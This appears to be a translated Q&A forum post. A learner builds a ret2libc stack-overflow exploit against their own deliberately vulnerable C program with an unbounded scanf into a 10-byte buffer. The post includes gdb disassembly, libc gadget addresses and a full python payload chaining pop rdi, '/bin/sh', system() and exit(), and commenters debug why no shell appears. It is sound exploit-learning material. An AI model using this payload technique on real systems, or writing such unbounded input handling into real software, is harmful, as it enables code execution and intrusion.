【发布时间】:2020-07-10 10:13:50
【问题描述】:
我执行了 ret2libc。一切正常,但没有生成 shell。源代码是
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
scanf("%s",buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
printf("/bin/sh");
return 1;
}
gdb 的反汇编是
(gdb) disass main
Dump of assembler code for function main:
0x0000555555555184 <+0>: push rbp
0x0000555555555185 <+1>: mov rbp,rsp
0x0000555555555188 <+4>: mov eax,0x0
0x000055555555518d <+9>: call 0x555555555155 <get>
0x0000555555555192 <+14>: lea rdi,[rip+0xe6e] # 0x555555556007
0x0000555555555199 <+21>: call 0x555555555030 <puts@plt>
0x000055555555519e <+26>: lea rdi,[rip+0xe67] # 0x55555555600c
0x00005555555551a5 <+33>: mov eax,0x0
0x00005555555551aa <+38>: call 0x555555555040 <printf@plt>
0x00005555555551af <+43>: mov eax,0x1
0x00005555555551b4 <+48>: pop rbp
0x00005555555551b5 <+49>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555155 <+0>: push rbp
0x0000555555555156 <+1>: mov rbp,rsp
0x0000555555555159 <+4>: sub rsp,0x10
0x000055555555515d <+8>: lea rax,[rbp-0xa]
0x0000555555555161 <+12>: mov rsi,rax
0x0000555555555164 <+15>: lea rdi,[rip+0xe99] # 0x555555556004
0x000055555555516b <+22>: mov eax,0x0
0x0000555555555170 <+27>: call 0x555555555050 <__isoc99_scanf@plt>
0x0000555555555175 <+32>: lea rax,[rbp-0xa]
0x0000555555555179 <+36>: mov rdi,rax
0x000055555555517c <+39>: call 0x555555555030 <puts@plt>
0x0000555555555181 <+44>: nop
0x0000555555555182 <+45>: leave
0x0000555555555183 <+46>: ret
End of assembler dump.
我使用radare2 找到了小工具pop rdi;ret,它位于0x7ffff7e1d7de。 /bin/sh 位于 0x7ffff7f7f1ac,system() 位于 0x7ffff7e3f8a0 和 exit() 位于 0x7ffff7e34fe0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2664]
[Inferior 1 (process 2658) exited with code 02]
当我用ls命令的地址替换/bin/sh 的地址时,它列出了目录的内容。但是/bin/sh 并没有生成外壳。我使用的是 64 位机器。该程序是使用 gcc -ggdb -Wall -fno-stack-protector -o a exploit.c 编译的,并且手动禁用了 aslr。为什么它不生成 shell?
【问题讨论】:
-
提示:shell 从哪里读取输入?
-
这里没有生成shell。那么它如何读取输入?
-
你怎么知道它没有生成?如果它可以产生ls,它应该能够产生sh,对吧?
-
在分离vfork后立即查看我的gdb输出,执行退出命令
-
vfork 命令也是如此,这意味着您正在调试的进程开始了一个新的孩子,我想?当您尝试运行 ls 时,调试器会说什么?
标签: c error-handling gdb buffer-overflow libc